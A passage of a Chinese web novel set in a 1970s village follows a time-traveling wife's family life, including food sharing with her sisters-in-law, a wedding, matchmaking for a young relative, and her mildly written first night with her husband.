以前傅青山的钱交给傅老太的时候,家里基本每个月都能吃两次肉,但一般都是男人吃,傅大嫂只能跟着沾点肉汤。 傅大嫂不好意思要,谢晚棠找了个盆给她放下:“大嫂你要是不好意思要,那明天我都不好意思找你过来帮忙了!” 说完,谢晚棠摸摸立春的头:“我先回去了大嫂。” 傅大嫂只是觉得也不是农忙,在家闲着也是闲着,而且分家这事傅青山和谢晚棠也对她帮助不少,她想报答两口子,然而这两口子更不是占便宜的人,回馈给她的永远比她做的更多。 傅大嫂深吸一口气,调整好心态,高兴地对立春道:“和面,咱们今晚包肉饺子吃!” 立春高兴得欢呼:“耶!吃肉饺子了!” 后天支书家的老二傅青林要结婚,傅老太过去帮忙了,就老三媳妇在家,刚才谢晚棠过来送猪肉,两人推辞的工夫,都被老三媳妇听了去。 如今听着立春喊要吃肉饺子,老三媳妇撇撇嘴,还不是拿着豆腐去舔么谢晚棠,又出工又出力得,才换回来这么点猪肉,又什么好高兴的。 傅大嫂没谢晚棠那么阔,她用不起白面,就用二合面活的饺子面,下出来的饺子黄橙橙的,也很香。 傅老太回来,闻着饺子的香味,还不知道里边是肉馅,就满眼放光,没话找话道:“老大家的,今天怎么突然吃起饺子了?” 傅大嫂自然明白傅老太什么意思,无非就是想让她主动说一起吃,但她就包了五个人的量,而且以前没分家的时候,家里吃点什么好的,傅老太从来都不给她一点。 虽说百善孝为先,但是手都动过了,家都分了,按份例养老就是,其他的她一点也不想叨叨,于是闻声都没回头,随口应了声:“想吃就包。” 傅大嫂随口一句,傅老太却听出别的味,哼了声:“这是抱怨没分家的时候捞不着吃呗?” 傅大嫂本没这意思,但听傅老太阴阳怪气的,她也没了往日的好脾气:“没分家的时候就是捞不着吃啊,现在分了家了,想吃就包。” 说完,也不理会傅老太,端着饺子带着立春去西间炕上关上门,等傅大哥和大仓二仓回来。 傅大哥没农活不忙,也带着大仓二仓去工地帮忙,跟傅青山一块回来的,一进门就看到他娘在当门里摔摔打打地做饭,他问怎么了,他娘就拉耷个脸让他去问傅大嫂! 傅大哥推开西间的门,闻着香喷喷的饺子,肚子饿得咕噜叫了一声,“娘怎么了?看着不高兴。” 傅大嫂给每个孩子叨碗里饺子,不冷不淡道:“娘除了收钱,什么时候高兴过?” 傅大哥现在也学会一点察言观色,看傅大嫂也不怎么高兴的样子,就没敢再多问。 傅大嫂让大仓把门关上,眼不见心不烦,一家子围坐在小炕上肉饺子。 傅大哥一口咬下去,发现竟然是肉饺子:“哪来的肉?” 傅大嫂:“弟妹送来的。” 傅大哥:“哪个弟妹?” 傅大嫂无语:“还能是哪个弟妹?当然是老二家的!” 傅大嫂跟傅大哥说让他明天早晨带着大仓二仓,去地里多摘点菜回来给老二家送过去,傅大哥点头应着。 傅老太在当门烧火的时候竖起耳朵听西间的动静,一直没听到傅大哥跟傅大嫂吵吵,气得摔了烧火棍,又一个没用的儿子! 中午还剩了一小块豆腐,谢晚棠晚上拌了个小葱豆腐,又和小刚妞妞一起从大刚的小菜园里摘了菠菜洗了,兰兰做了个菠菜粉条炒肉,又下的手擀面。 晚上吃饭的时候,二刚美滋滋道:“我回来的时候碰着郭燕姨和支书大爷爷说,明晚宣传队在大队部放电影!” 这个年代农村没有电视,大人们吃过饭上街聊天,孩子们更是没什么娱乐,是而放电影是孩子们最喜欢的活动。 兰兰说明晚早做饭,吃完饭就早早去占座。 谢晚棠闻声,偏头看傅青山,和傅青山心有灵犀地对上视线。 第56章 不是受过伤吗?为什么还会这么…… 孩子们在讨论明晚谁腿脚快先去占座,并没有注意到他们俩视线里那股甜腻腻的黏糊劲儿和空气里的暧昧旖旎。 一直到洗漱完上炕躺下,谢晚棠都两眼铮亮,毫无睡意,视线总是不经意就落到那个大樟木箱子上,好像能透过厚厚的箱体,看到压在箱底的那包小东西。 傅青山难道有未卜先知的异能吗? 她昨天还笑傅青山急不可耐,房子还得一个多月才能盖好,就早早买回来避孕套,有什么用? 结果明晚就要用上了! 兴奋的爱情荷尔蒙虽然促使着她想和傅青山更亲密地接触,但无论是前世还是这一世,她都是第一次,对明晚即将发生的事情,让她强烈的好奇,又不可避免的产生一丝焦虑。 两种极端的情绪同时控制她,让她精神异常兴奋,难以入眠。 谢晚棠昨晚后半夜才睡着,睡得晚醒得也晚,一觉醒来,窗外的日头都升起来了,抬手一看表,居然都9点多了?! 70年代没有夜生活,人们日出而作日落而息,作息非常健康。 自从穿书过来,谢晚棠也被迫跟着早睡早起,早已养成了前世不可想象的优秀生物钟,没想到今天居然会一觉到这个点。 谢晚棠下炕的时候,兰兰正在天井里削南瓜皮,听到声音回头:“娘,你醒了,饭给你留锅里了。” 以前放假在家不上班的时候,谢晚棠蒙头睡到10点,11点的时候也有的是,就算是睡到12点,也不是什么稀奇的事,妈妈顶多念叨她几句,她也不放在心上。 如今自己也当了妈,孩子早早起来干活,她却在炕上睡到日上三竿,不禁有些脸红,尴尬地抿了抿唇:“哦,你爹上班去了?” 傅青山怎么不叫她啊。 兰兰点头:“爹说你昨晚没睡好,让你多睡会儿,别吵着你,小刚和妞妞就领着小黑上街去玩了。” 谢晚棠闻声愣住,傅青山怎么知道她昨晚没睡好? 除非……傅青山昨晚也没睡好? 一想到傅青山那样冷面冰山的大佬人物也会因为今晚即将到来的第一次而失眠,谢晚棠唇角扬起,她终于有一方面可以跟大佬看齐了哈哈哈。 洗漱完吃过早饭,谢晚棠帮着兰兰一起洗菜。 除了兰兰已经削好皮的南瓜,还有一盆菜椒、一盆茄子、一盆芋头。 芋头是秋收完刚分下来的,又能当菜又能当饭。 兰兰说其他的都是傅大哥和傅大嫂一早去自留地里摘了送过来的,解了她家缺菜的燃眉之急。 洗好菜椒和茄子,谢晚棠和兰兰一起刮芋头,这种手工活谢晚棠还是很有天赋,不会儿就熟练地掌握了刮芋头的技巧,就是刮完洗了手,就感觉手心手背上的皮肤都开始发痒,挠了几下不仅没有缓解,反而越挠越痒。 谢晚棠皱眉看着自己挠红了的手,想起以前帮妈妈削过一次山药皮,削完手也是痒的不行,难道芋头和山药这些黏糊糊的东西,都会刺激皮肤吗? 她记得当时用香皂、用洗洁精怎么洗都不好使,后来还是上网查着用电吹风吹一吹,电吹风的热度可以破坏粘液里的刺激性物质,缓解瘙痒。 问题是这年代也没有电吹风啊。 手越来越痒,像有万千小蚂蚁在上边爬来爬去,难受刺激着大脑被迫高速转动,谢晚棠抬眼突然看到锅台,没有电吹风,那用火烤一烤不也是高温有热度嘛,应该也有用吧? 谢晚棠赶紧把锅里添上水,抱草来引火,兰兰奇怪:“娘,你现在烧火干嘛?” 谢晚棠搓着瘙痒难耐的手:“我好像对芋头过敏,手特别痒。” 每个人肤质不同,兰兰刮芋头就没有任何感觉,看谢晚棠手都挠红了,挺厉害的样子:“试试用肥皂多洗几遍呢?” 谢晚棠摇头:“洗了三遍了也不行,越来越痒,可能得用火烤一烤才行。” 兰兰虽然感觉手痒用火烤好像不太靠谱,但现下也没别的法子,赶紧过来帮着引火,等火着起来,谢晚棠把手靠近锅门口,两只手活动着烘烤,随着手逐渐被烤热,手上的瘙痒也开始逐渐减轻。 傅大嫂带着老三媳妇一起过来,看到谢晚棠在烤手,奇怪道:“晚棠,你这手冷?” 谢晚棠闻声回头,看到老三媳妇也在,不过看着没有平日里的尖酸样儿,也一脸奇怪地看她。 谢晚棠感觉手烤得差不多了,起身嗐了声:“刮芋头过敏,刚才手痒的不行了,烤烤火才好了。” 傅大嫂跟兰兰一样,也是对这种粘液质东西没感觉的幸运儿,倒是老三媳妇一听,惊讶道:“真的?我每次刮芋头也是痒的不行,前天痒得恨不得把手剁了去。” 谢晚棠点头:“咱的皮肤对这种粘液过敏,就会痒痒,下次你也试试,烤烤就不怎么痒了。” 老三媳妇点头:“下次我试试!” 说着,把手里端的一大盆小豆腐放桌上,有点不好意思道:“二嫂,我自己做的苔菜小豆腐,中午也给你凑个菜吧,你别嫌弃。” 谢晚棠虽然没那么爱吃小豆腐,但老三媳妇主动来送小豆腐,她当然不会嫌弃。 不过老三媳妇一直跟她针锋相对,突然主动来示好,她也不大明白这是什么意思,看向带老三媳妇过来的傅大嫂。 傅大嫂笑道:“晚棠,现在农闲,三弟妹在家也不忙,也愿意来帮着你干活。” 谢晚棠稍微一想就明白了,老三媳妇和傅大嫂住一个院,自然是看到傅大嫂来帮忙得的好处,所以也想来跟着帮忙。 虽然想法有些功利,但谢晚棠觉得,老三媳妇能从之前觉得可以理所当然地来蹭鸡吃,到现在认识到要付出劳动才能得到回报,这已经是很大进步了。 而且还主动带来了小豆腐,态度也很好。 人非圣贤孰能无过,谢晚棠也不计较老三媳妇之间带着一家子来蹭鸡吃的事,笑着欢迎:“那就先谢谢弟妹了!正好大嫂和兰兰忙不过来。” 老三媳妇来之前怕谢晚棠拒绝,特地找了傅大嫂带她来,想着谢晚棠要是说什么,还能让大嫂帮着说说话,没想到谢晚棠不计前嫌,笑脸相迎,瞬间心情大好,撸起袖子:“不早了,我们先做什么!” 傅大嫂和谢晚棠对视一笑,开始准备午饭。 老三媳妇带来的苔菜小豆腐是一个菜,再用肥肉练练油炖个南瓜芋头,锅边正好烀上玉米面饼子,菜椒炒个瘦肉丝,茄子蒸了用大蒜拌个凉菜。 和面的和面,切菜的切菜,扒蒜的扒蒜,三个人在当门忙活着,谢晚棠在炕间给上沟村的刘队长和许主任做衣裳。 中午吃饭的时候,谢晚棠也让老三媳妇也和傅大嫂一样,每样菜盛上一盆带回去吃,就不用再回去忙乎着开火了。 老三媳妇虽然忙乎了半上午,但端着肉菜往回走的时候,心里还是美滋滋的,一点都不觉得累! 以前跟着婆婆的时候,反正累死也吃不上口好的,她才不像大嫂那样傻乎乎地干呢。 分了家,她家老三也没本事,虽然过得比没分家之前是强点,但跟谢晚棠一比,还是一个天上一个地下。 如今帮着谢晚棠干点活,根本就没有多累,谢晚棠居然这么大方,菜椒炒肉也给她这么一大盆! 回家傅老三和大柱二柱惊讶地问她肉哪儿来的,她骄傲地挺起胸脯:“我干活挣的!” 从来没觉得这么有底气过! 下午谢晚棠把刘队长和许主任的两身衣裳都做好了,就差剪线头、缝扣子和烫熨了。 在缝纫机前坐了半下午,颈椎腰椎都酸的不行,听到门响,谢晚棠起身伸了个懒腰抻了抻酸痛的肌肉,走到当门看到傅青山推门进来,车筐装了满满一袋子。 小刚和妞妞跑过去帮他往下拿东西,傅青山抬头道:“今天猪肉卖完了,买的猪下货。” 谢晚棠笑着从两个小的手里接过来:“猪下货更有滋味。” 傅青山把东西放下,要去工地看看情况,两个小的跟着他去了。 谢晚棠把那袋子猪下货倒出来一看,猪肠子、猪肝、猪心、猪肚、猪舌头,样数还不少呢,谢晚棠去正屋叫傅大嫂和老三媳妇过来:“也不知道你们爱吃啥,你们看看想吃什么自己挑。” 除了大队杀猪,平常傅大嫂和老三媳妇哪见过这么一大盆猪下货,这几乎是一整头猪的下货了。 老三媳妇舔舔嘴唇,其实谢晚棠随便给哪样,她都喜欢,更别说还让她自己来挑。 傅大嫂犹豫:“昨天晚上和今中午刚吃了肉,要不这猪下货留着明天再吃吧!” 她怎么也想不到,跟着谢晚棠,几乎也过上了顿顿吃肉的日子!以前想都不敢想的。 谢晚棠嗐了声:“猪下货比猪肉便宜,没事,大嫂,弟妹,你们挑就行,要不就在我家一锅煮出来你们再拿回去直接炒吧,这样就不用麻烦二遍了。” 老三媳妇自然愿意,吃了谢晚棠的好东西,自然要出力的,主动帮着洗大肠,平常都是傅青山洗,谢晚棠还真没干过,在一旁舀着清水给老三媳妇冲洗。 傅大嫂去抱草引火烧水,把猪肝、猪心、猪肚和猪舌头先下锅煮着,等差不多要开锅了,老三媳妇这边猪肠子也洗好了,拿过去下锅,猪肠子不能火大,开锅就好。 煮好捞出来,傅大嫂挑了个猪心,老三媳妇挑了个猪肚,还帮着谢晚棠把锅涮了出来。 听说兰兰去自留地摘菜去了,老三媳妇跟谢晚棠商量好了明天中午要做什么菜,说明天一早让傅老三去她们家自留地摘菜送过来。 谢晚棠自己的自留地里就只有白菜,家里还有分家分的土豆,秋收刚分的芋头,再就是吃傅大娘家的自留地,还有家里大刚的小菜园,供他们一家七口还行,要支撑工地一个月午饭绝不可能。 有傅大嫂和老三媳妇家的自留地帮趁着,那真是解决了大问题,谢晚棠笑着谢过。 傅大嫂和老三媳妇回去的时候,傅青宁正好从家里出来,看她俩喜笑颜开,又眼馋地瞅了一眼她俩端的猪下货,不悦地哼了声:“当谢晚棠的狗腿子就这么美?” 傅大嫂虽然分了家,但是还是每天跟傅青宁低头不见抬头见的,一看到她,好心情瞬间全无,低着头往屋里走,不愿意跟她搭话,娘俩只要不舞到她脸上,她还是不愿意多叨叨,多一事不如少一事。 老三媳妇可不是傅大嫂那样愿意忍让的好脾气,她可是凭自己的双手干活得的好处,理直气壮地瞥了眼傅青宁:“有功夫**们的闲心,不如好好给自己操心找对象的事吧!” 傅青宁找对象挑三拣四找不上本就烦,二哥说了帮忙也没动静,如今又被老三媳妇怼了,气得面红耳赤:“用不着你操心!你等着!我早晚找个好的!” 老三媳妇点头:“对对对,我们才懒得操心你的破事,你找个再好的我们也跟着沾不着光,就是别嫁不出去天天在家里摔摔打打的惹人烦就行了!” 说完,老三媳妇懒得看她,转身进了南屋关上了门。 傅青宁气得一把带上家门,甩了鞋上炕躺下,连出门的心情都没有了。 翌日,傅青林结婚,傅青山请了一天假,上午和谢晚棠一起去帮忙加送礼。 新郎新娘子精神自然不必说,玉秀穿着谢晚棠做的布拉吉,还借了兰兰的小皮鞋,在人群里也是耀眼极了。 忙乎完拜天地,玉秀终于有空来谢晚棠身边,抱着她的胳膊美滋滋:“嫂子,你给我做的衣裳美死了!我跟我哥去接媳妇的时候,他们村的人都看呆了!” 谢晚棠低声问:“有没有什么好看的帅小伙?” 玉秀害羞:“哎呀嫂子你说什么呢……” 谢晚棠笑:“这有什么害羞的,找对象啊,就跟买布一样,货架上就这么多布,你不快挑,质量好的,好看的布就被别人买走了,只能在别人剩下的里边选了,所以要先下手为强!” 这是上辈子她妈催婚的时候给她讲的理论,不过当时妈妈举例举得是一筐大枣,如今她变换了一下,举给玉秀听。 玉秀一听,你别说,还真是有那么几分道理呢,害羞地点了点头:“知道了嫂子。” 院子里男人们开席,傅大娘弄了一碗鸡腿肉,一个白面馒头,还有一碗菠菜炒鸡蛋,让玉秀给新媳妇端过去。 傅老太这两天就一直在这边给傅大娘帮忙打下手,谢晚棠闻声瞥了眼傅老太,看看人家傅大娘对儿媳妇多好。 傅老太当初给她送剩饭那事被她弄到面上,人人皆知,傅老太脸上没光,不愿意看傅大娘婆贤媳孝的场面,躲到一边去全当没看见。 吃过午饭,谢晚棠和傅青山一起去工地,三天的工夫,地基已经打好了,开始往上起大框了。 傅青山指了指跟在大工身后递工具的一个小学徒给谢晚棠看,说打算介绍给傅青宁,“人挺勤快,也机灵,我问了,大沟村的,在家里排老三,上头有两个哥哥都结婚了,家里人性挺好的。” 谢晚棠顺着傅青山指的看过去,青年一米八左右的个子,比傅青山能矮半头,长得挺精神,笑呵呵的面相挺喜庆。 是个帅小伙,配傅青宁绰绰有余的那种。 结果傍晚俩人回去跟傅老太和傅青宁一说,傅老太皱眉,傅青宁撇嘴:“一个没文化的搬砖的。” 谢晚棠:“……” 这年头教育普及得不行,除了城市青年,农村有几个有文化的。 还嫌人家没文化,你不也是一个大字不识几个的土妞。 这是嘴上答应着降低条件了,实际心里还是心比天高啊。 谢晚棠耸耸肩没说话,傅老太对傅青山道:“老二,我看还是再好好找找,你妹妹也不算大,不急,不急。” 谢晚棠都明白娘俩是什么意思,傅青山自然也明白,面上没什么表情,嗯了声就拉着谢晚棠走了。 回家兰兰已经在叮咣准备做晚饭了,昨晚就说好了,今天早点吃饭,吃完好去占座的。 吃过晚饭,兰兰在家刷碗,大刚二刚小刚搬着凳子先去占座,大刚拿了四个,二刚拿两个,小刚拿一个,一家人的位置都占上。 谢晚棠看孩子们给他俩也要占座,抿唇轻咳一声:“那个,我就不去了,不用给我占座了。” 大刚奇怪地看过来,那冷冽的眼神越来越有傅青山的气场,谢晚棠感觉像要被看穿,心虚地解释道:“我有点累,在家歇歇。” 妞妞闻声不放心地拉着她的手:“娘你生病了吗?那我也不去了,我在家陪着娘!” 谢晚棠:“……” 孩子太贴心了怎么办T-T 好在傅青山及时出现替她解了围:“没事,你娘没生病,就是做衣服累了,在家躺躺歇歇就好了,你们去玩吧,我在家。” 有傅青山在家,孩子们这才放下心来,三个刚先去占座,兰兰刷完碗,也带着妞妞出发了。 谢晚棠关上大门,听着兰兰和妞妞在胡同里碰上老三媳妇,老三媳妇问:“你娘呢?” 妞妞解释道:“我娘累了,在家歇着,我爹在家陪她。” 接着谢晚棠就听到老三媳妇意味深长地“哦”了一声:“你爹也在家啊。” 谢晚棠内心如尖叫鸡:啊啊啊啊啊!!! 都是家里有孩子的,想要亲热肯定都不方便,她感觉老三媳妇一定明白她和傅青山不去看电影是什么事! 谢晚棠红着脸关上门回来,看到傅青山已经把压好的井水搬进当门,跟大锅里的热水掺在一起,兑成温水,“你在家里洗吧。” 说着傅青山在天井里就开始脱衣裳、脱裤子,他直接在外边用井水洗。 虽然两人一会儿还会更亲密,但毕竟那是一会儿的事! 在傅青山裤子脱下来之前,谢晚棠麻溜移开视线进了当门。 洗完擦干上炕盖上小被子,没多久,就听到傅青山把当门盆里的水搬出去倒了,然后关上当门,推门进来,又关上炕间的门。 没开灯,但谢晚棠的眼睛早已适应了黑暗环境,傅青山那健硕的背影曲线勾勒得清清楚楚,他打开樟木箱子,弯腰在箱底摩挲了一会儿,然后啪的一声关上箱子,谢晚棠的心也跟着猛跳了一下。 下一秒,傅青山转身上炕。 蹭上她皮肤的那一刻,谢晚棠一个激灵。 她的温,傅青山的微凉,但很快傅青山的皮肤就比她的还热,热得烫人,如拉满的弓蓄势待发…… 傅青山伸手撕破包装袋,冲锋号吹响,她搭在傅青山后颈上的指尖下意识抓紧…… 不是受过伤吗?! 怎么还…… 但女人的身体又真的很奇妙,从疼得发抖,到轻飘飘的奇妙感…… 她紧咬下唇,才能勉强不发出声音。 可即使是这样,静谧空间里的细微声响,也在提醒着此刻的暧昧与旖旎,这一刻,时间仿佛都为他们停留住脚步。 傅青山呼吸滚烫,打在她额头,让她皮肤的温度越来越高,扣在傅青山肩膀上的手也跟着颤抖。 …… 谢晚棠虽然跟着傅青山练了十来天的军体拳,体格也没法一下子提高上来太多。 舒服是很舒服,但时间久了腰腿难免也会酸,傅青山却像是不知疲惫的机器一般始终在高能工作,她身体都抵抗不住往上跑。 他都不会累的吗?! 怕头撞到窗台,谢晚棠下意识抬手去抓窗棂,借着窗口明亮的月光,她瞥见自己的手表指针指向5。 5? 反应过来指针5代表的时间,谢晚棠惊得赶紧抬手凑近了看,仔细一看手表指针,竟然真的8点25了! 大刚二刚小刚他们5点半就出发了,兰兰和妞妞也不到6点就走了,他们俩不到6点半就开始了,居然一直弄到了8点25了! 都这么久了,傅青山一次都没,看来之前真的是她多虑了……劣质精子没活力,根本不行啊…… 没想到傅青山受伤的后遗症居然是这样的,能够给她实实在在的满足感,能把她伺候得舒舒服服,但就是他自己不行。 这样应该也会憋得很难受吧。 哎,傅青山就连生病,都是这样舍己为人的病。 嗐,她就说这个避孕套带了也没多大意义吧,这年代套也大贵贵的,下次不如跟傅青山说说不用带了,别浪费这个钱。 第57章 她在炕上这么火辣的嘛→_→ 许是她走神的时间太长,被傅青山精准捕捉到,俯身轻轻吻上她的唇,不许她看表。 轻柔的吻像羽毛轻轻划过,语气是平日里没有的深情缱绻:“不行了?” 谢晚棠:“……” 她是不行了,但二哥,你也不要替你的劣质小精子嘴硬了吧→_→ 不过爱一个人,就会自然而然地为他考虑,不想让他难过。 谢晚棠抿唇考虑片刻,谨慎措辞:“二哥,我们还是快点结束吧,万一孩子们回来看到就不好——” 话音未落,窗外传来门环响动的声音,接着就听着二刚激动道:“严伟才可真厉害!居然能带着一个排直插白虎团的团部!” 谢晚棠……?? 谢晚棠:“……” 她这嘴是喝了什么毒奶吗?! 刚说完,孩子们就回来了! 小刚:“二哥,爹以前是侦查连长,那你说是爹厉害,还是严伟才厉害?” 二刚:“大哥,连长大还是排长大?” 大刚:“当然是连长大。” 二刚:“哦,那咱爹比严伟才厉害!” 妞妞和小刚震惊地哇偶一声:“原来爹那么厉害!!!” 幸好几个孩子在讨论傅青山和电影*里的男主角谁更厉害,在大门口墨迹了会,进来的没那么快,谢晚棠赶紧推推傅青山:“快下去,别让孩子们看见!” 半晌,傅青山叹了口气,起身先给她找了衣裳,然后自己随手披上褂子套上裤子清理凌乱的炕面。 等谢晚棠急急忙忙穿好衣裳,傅青山已经清理完点了蜡,孩子们刚好推门进来。 谢晚棠长舒一口气,就差一点点! 妞妞进来先来看她:“娘,你好点了吗?” 谢晚棠笑笑,“好了好了,妞妞别担心。” 除了最后有点着急忙慌的小紧张插曲,她确实是享受了全程,好得很。 不像傅青山,忙了一晚上,现在还拉着个脸,一看就是憋得不行,下次试试时间再长一点看会不会好点,实在不行,等着看看要不去市里的大医院看看。 孩子可以不要,但人不能憋坏了啊。 妞妞闻声放下心来,脸上终于露出笑容,又去拉着傅青山的手,仰头看他:“爹,二哥说你比严伟才还厉害,你给我们讲讲你以前有多厉害呗!” 被小女儿眨着大眼睛看着,傅青山深吸一口气,收起郁闷的情绪,“我要是比严伟才厉害,那还拍什么奇袭白虎团?直接拍我了。” 妞妞微微张嘴,有些诧异:“可大哥说连长比排长官大啊!” 傅青山耐心道:“军功和官职无关。” 二刚好奇:“爹,那严伟才这么厉害,你会崇拜他吗?” 傅青山想了想,摇头,“我崇拜的军人只有一个。” 比严伟才还让爹崇拜的人,二刚更好奇了,“谁啊。” 傅青山深吸一口气:“你们的父亲。” 已经过去四年多,而且军人常年在外,一年就两次回家探亲的机会,除了大刚和兰兰,其他三个孩子其实对亲生父亲都没什么印象了。 傅青山神色郑重地看着面前的五个孩子:“他是伟大的军人,保卫祖国的英雄,无论你们长大以后是否从军,都要时刻记着,不要做给你们父亲丢脸的事。” 傅青山虽然平时也不苟言笑居多,并不是个和蔼可亲的父亲形象,但也少有如此严肃的时候,几个孩子下意识站直,闻声认真点头:“是!” 谢晚棠也是很久以后才知道,傅青山和他崇拜的那位团长,他们曾经并肩立下的军功,并不比电影里的严伟才差。 他们是新中国第一批特种兵,是祖国和人民最锋利的尖刀,永远冲锋在最危险的地方,守护着和平。 这也是傅青山后来为什么一路高升的重要原因,他是真的有能力,如果不是为了这些孩子,他继续待在部队不退伍,他最后的位置还会更高。 傅青山不是爱训话的人,说完也就让孩子们自由活动了。 大刚提醒:“爹,到时间了,该练军体拳了。” 谢晚棠:“……” 大刚!为什么看电影都不能让你忘记每日例行的军体拳??? 傅青山闻声点头,一偏头就和谢晚棠哀愁幽怨的视线对上。 谢晚棠垮起个小委屈脸:“二哥,我今晚就可以不用练了吧……” 她都练了两个小时了!今天的运动量该够了吧! 傅青山想到晚上的运动,偏头避开视线,轻咳一声:“嗯。” 谢晚棠长舒一口气,躺在炕上,听着傅青山带着孩子在天井里喊着号子打拳的声音,真爽啊! 这打拳就像下小雨,站在窗边观雨才有意境,要是行走在雨中,那就是惨兮兮的落汤鸡咯。 翌日。 傅青山吃完饭就去上班了,老三媳妇一早过来送菜,谢晚棠过去帮着接。 弯腰搬盆的时候,老三媳妇欧呦一声,弄得谢晚棠不明所以。 老三媳妇努努嘴指指她脖子:“昨晚跟二哥挺激烈啊!” 谢晚棠……???? 老三媳妇见她一脸懵逼,笑着指了指自己的锁骨位置:“你这衣裳领子有点低,低头的时候看得清清楚楚。” 谢晚棠闻声赶紧回屋照镜子,一弯腰低头的时候,右侧锁骨上的吻痕像个大草莓! 老三媳妇放下菜进来,也站在她身后往镜子里看了眼,“有孩子在平时放不开吧,孩子们不在家,一下子就干柴烈火了!” 谢晚棠:“……” 老三媳妇性子本就泼辣,又养过两个孩子了,聊起这方面那是一点不带害羞的,老司机属性跟郭燕不相上下。 谢晚棠轻咳一声,赶紧打开衣柜翻,找了件领子最高的换上,低头对着镜子试了试,确保不会露出来。 老三媳妇在旁边看着,忍不住笑:“二嫂,你这羞答答的小媳妇儿样可真招人稀罕,怪不得俺二哥把持不——” 谢晚棠一把捂住老三媳妇的嘴,红着脸轻咳一声:“两个小的还在院里呢。” 老三媳妇也是从这个时候过来的,见谢晚棠羞得连脖子都红了,便笑着点头,不再打趣她。 老三媳妇去当门拾掇菜,谢晚棠又对着镜子照了两遍,确保怎么低头都漏不出来,这才彻底放下心来。 晚上傅青山回来必须好好教育,以后坚决不准给她在这种可能会露出来的地方留下印! 玉秀忙完她二哥的结婚大事,上午也过来帮忙。 谢晚棠在炕间缝扣子、剪线头,听着玉秀在当门和兰兰、傅大嫂、老三媳妇有说有笑。 她一来,家里气氛都不一样了,透着一股子喜气洋洋。 说到喜气,谢晚棠突然想起傅青山原本要介绍给傅青宁的那个帅小伙,性子也跟玉秀似的,爱说爱笑的,特别讨人喜欢。 玉秀就比傅青宁小一岁,明年也到了该结婚的年纪。 这个年代感觉都流行闪婚,她和傅青山这种合约婚姻的不提,玉秀的二哥傅青林也是相亲完觉得行,马上就筹划着定亲结婚了,前前后后不超过一个月。 结婚是女人的第二次投胎,谢晚棠觉得还是该谨慎一些比较好。 而时间绝对是最好的检验,人能装得了一个月两个月,却装不了一年两年,骨子里的东西总会露出来的。 人无完人,肯定多多少少都会有缺点,但要看这缺点是不是人性人品上的。 就像兰兰,上辈子稀里糊涂嫁给了一个家暴男,女人最美好的前半生都毁在那个烂人的手里了。 中午做好饭,谢晚棠主动提出要和玉秀去工地送饭。 每个人的审美不一样,她看着好的小伙子,不一定在玉秀的审美里,找对象这事,还是要找个自己看着顺眼的,过起日子来才舒心。 她当初愿意跟傅青山结婚,抱大腿是一方面,傅青山的颜值也是很重要的原因。 玉秀本就是来帮忙的,自然没意见,两人用提篮把饭菜装好,一人挎两个往工地去。 路上谢晚棠把这事跟玉秀说了,中午头天也热,玉秀白嫩嫩的小脸一下就红了。 昨天谢晚棠刚跟她讲了找男人如同挑布料的理论,她晚上跟娘说了,娘还夸谢晚棠说得对,说得好,娘还补充了句,布料卖没了还能马上再生产,好男人挑没了,那可产不出来了。 谢晚棠压低声音:“一会儿到了工地,我指给你看看,你先看看喜不喜欢,要是喜欢,再让青山给你们介绍。” 玉秀荣升相亲预备役选手,红着脸点头:“好。” 她们今天来得早,大刚和大仓二仓还在帮着干活。 看到她们来送饭,大刚赶紧过来接,擦了擦额上的汗:“娘,玉秀姑,你们怎么来了,这么沉,我们干完活就回去拿了。” 大刚这么一说,玉秀脸更红了,因为谢晚棠就是为了带她来相对象才来送饭的。 谢晚棠笑道:“今天有你玉秀姑姑帮忙,就送来了,先招呼大家歇歇来吃饭吧。” 大刚哎了声,去跟工程队长说先吃饭。 工程队长招呼大家先放下手里的活来吃饭,那个喜庆的帅小伙也笑呵呵过来了,跟大家一起打饭吃饭。 谢晚棠靠近玉秀低声道:“就是从东边数第五个,那个高高瘦瘦的。” 玉秀轻轻“嗯”了声。 大刚说太热让她和玉秀先回去,家把什等晚上他们就捎回去了。 此行的目的已达成,谢晚棠就领着玉秀走了,路上问玉秀看着怎么样,玉秀脸更红了,害羞地点头:“嫂子看上的,确实挺精神的。” 谢晚棠笑着搂着玉秀的胳膊:“你青山哥打听了,说家里人性也不错,等着让他先跟你爹说说。” 玉秀羞答答地抿唇:“好。” 这年头农村还是不兴自由恋爱,但她们可以在自由恋爱和相亲之间取个中,先来看看,看着和眼缘再去征求父母意见,相亲见面,然后再自由恋爱,走入婚姻。 晚上傅青山下班回来,谢晚棠没忘记锁骨上的吻痕,趁着家里只有小刚和妞妞,把他叫进来严肃地说起这事。 结果她才一提,傅青山就道:“我也有。” 谢晚棠…… 傅青山转身,后背对着她,她抬眸就瞥见傅青山的后脖颈上两道明显的红色抓痕,衬衣领子都盖不住,一直延伸到发根处。??? 昨晚难耐时她好像是紧紧抱着傅青山的脖子,但也不至于挠成这样吧? 谢晚棠不太相信:“脖子上这些是我给你抓的?” 傅青山闻声没说话,解开两颗衬衣扣子,兜头把衬衣脱了,转过身去,后背对着她:“不止脖子。” 顺着后脖颈往下,整个后背到处都是凌乱的红色抓痕,横盘在傅青山小麦色的皮肤上,刺眼又醒目。 谢晚棠:“……” 她在炕上这么火辣的嘛→_→ 第58章 腰啊,屁股啊都行…… 傅青山展示完她的战绩,重新穿上衬衣,等他扣好扣子转过身来,谢晚棠脸烫得像在锅台底下烤过似的,哪里还好意思再提自己锁骨上这点草莓印儿。 跟她的杰作一比,傅青山给她印上的这颗草莓真是小巫见大巫了→_→ 谢晚棠突然想到傅青山上了一整天班,他头发短,后脖颈上方衬衣领盖不住的地方红痕明显,与麦色的皮肤格格不入,该不会被同事看到吧! 她有些忐忑地问完,傅青山垂眸看她:“看到了。” 谢晚棠:“……” 谢晚棠强撑着最后一丝挣扎:“看到的人不多吧……” 毕竟傅青山那个单位都是男人,男人和男人之间,谁会天天盯着对方的后脖子看呢? 傅青山:“上午搞了个大比武,比完脱衣裳在大院里冲凉的时候,武装部所有人都看到了。” 谢晚棠闻声两眼一黑:“……” 又不是一线部队,一群退伍老兵,突然搞什么大比武! 看谢晚棠小脸蛋通红,眉头皱得飞起,傅青山没有细说当时的场面,部里基本都是当兵回来的,有家有室的不愿意两地分居,转业回来单位离家近,能过上老婆孩子热炕头的日子。 大比武结束,大家热得出了一身汗,脱了衬衣在大院的压井旁冲凉的时候,看到他后背的抓痕,都不是不懂事的小伙子年纪,有媳妇的男人自然明白这是怎么回事,一个个都笑着打趣他新婚是不是夜夜都要爽飞起来? 这些荤话,他自然不能转述给谢晚棠,谢晚棠面皮薄,要是知道了,以后在炕上可能宁可抓床单也不会伸手碰他。 